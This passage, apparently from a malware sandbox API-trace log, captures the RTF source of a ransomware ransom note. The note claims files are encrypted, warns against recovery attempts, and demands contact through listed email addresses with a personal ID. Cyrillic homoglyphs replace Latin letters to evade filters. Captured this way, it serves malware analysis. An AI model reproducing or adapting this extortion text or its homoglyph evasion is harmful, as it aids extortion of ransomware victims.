\\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x2732c08, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 